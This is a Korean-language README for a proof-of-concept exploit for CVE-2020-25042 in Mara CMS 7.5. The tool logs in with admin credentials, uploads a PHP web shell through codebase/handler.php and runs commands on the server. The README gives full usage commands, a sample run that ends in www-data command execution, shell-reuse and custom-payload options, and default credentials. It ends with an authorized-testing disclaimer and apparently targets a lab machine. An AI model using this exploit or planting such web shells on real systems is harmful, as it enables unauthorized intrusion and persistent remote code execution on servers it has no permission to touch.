
CVE-2020-25042용 PoC: Mara CMS 7.5의 인증된 PHP 업로드를 RCE로 자동화하며, 로그인 해시 처리, 셸 재사용, 사용자 정의 페이로드 지원, 깔끔한 CLI 출력을 제공합니다.
Mara CMS 7.5에서 원격 코드 실행으로 이어질 수 있는 인증된 임의 파일 업로드 취약점인 CVE-2020-25042에 대한 개념 증명(PoC)입니다.
이 스크립트는 유효한 Mara CMS 관리자/매니저 계정으로 로그인하고, codebase/handler.php를 통해 PHP 페이로드를 업로드한 뒤 업로드된 파일을 통해 명령어를 실행합니다.
또한 가능하면 기존 셸을 재사용하므로 실행할 때마다 새 PHP 파일을 만들지 않습니다.
shash를 추출합니다.setsalt 액션으로 로그인 솔트를 요청합니다.codebase/dir.php?type=filenew에서 업로드 흐름을 엽니다.codebase/handler.php를 통해 PHP 명령 페이로드를 업로드합니다.--cmd를 실행합니다.Python 3.8+
pip install -r requirements.txt
필요한 Python 패키지:
requests
urllib3
꺾쇠괄호(< >)로 감싼 값은 자리 표시자입니다. 자신의 값으로 바꾸고 < 또는 > 문자는 포함하지 마세요.
python3 cve_2020_25042.py \
--url <MARA_CMS_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--cmd whoami
<MARA_CMS_URL> # Target Mara CMS base URL. Example: http://target/cms
<USERNAME> # Valid Mara CMS admin/manager username.
<PASSWORD> # Valid Mara CMS admin/manager password.
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--cmd whoami
출력 예시:
[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami
[+] Command output
MARA_CVE_2020_25042_OK
www-data
기본적으로 이 스크립트는 고정된 셸 이름을 사용합니다:
mara-poc.php
다음 실행 시 다음 위치를 확인합니다:
http://target/cms/img/mara-poc.php
셸이 예상된 마커로 응답하면 스크립트는 로그인과 업로드를 건너뜁니다:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--cmd "ls -la"
이전에 임의 이름으로 생성된 셸을 재사용하려면:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-name mara-poc-jxfizldy.php \
--cmd whoami
노출된 셸 경로를 직접 전달할 수도 있습니다:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-url-path /cms/img/mara-poc-jxfizldy.php \
--cmd "ls -la"
명령어를 실행하지 않고 페이로드만 업로드합니다:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--upload-only
--page <PAGE>
Existing CMS page used to bootstrap login and extract shash. Default: lorem.php
--shell-name <NAME>
PHP filename to upload or reuse. Default: mara-poc.php
--shell-url-path <PATH_OR_URL>
Explicit shell path or URL to reuse.
Example: /cms/img/mara-poc.php
--payload-file <FILE>
Upload a custom PHP payload instead of the default ?cmd= shell.
--destdir <DIR>
Raw destdir value sent in the upload form. Default leaves Mara CMS using img/.
--force-upload
Always login and upload, even if a reusable shell already exists.
--upload-only
Upload the payload but do not execute --cmd.
--only-final
Hide progress logs and print only command output.
--no-color
Disable ANSI colors.
--debug
Print request URLs and short handler response snippets.
admin:changeme일 수 있습니다.MARA_CVE_2020_25042_OK를 출력합니다.img/입니다.--force-upload를 사용하세요.이 PoC는 승인된 보안 테스트, 실습 환경 및 취약점 검증을 위한 것입니다. 명시적 허가 없이 시스템을 대상으로 사용하지 마세요.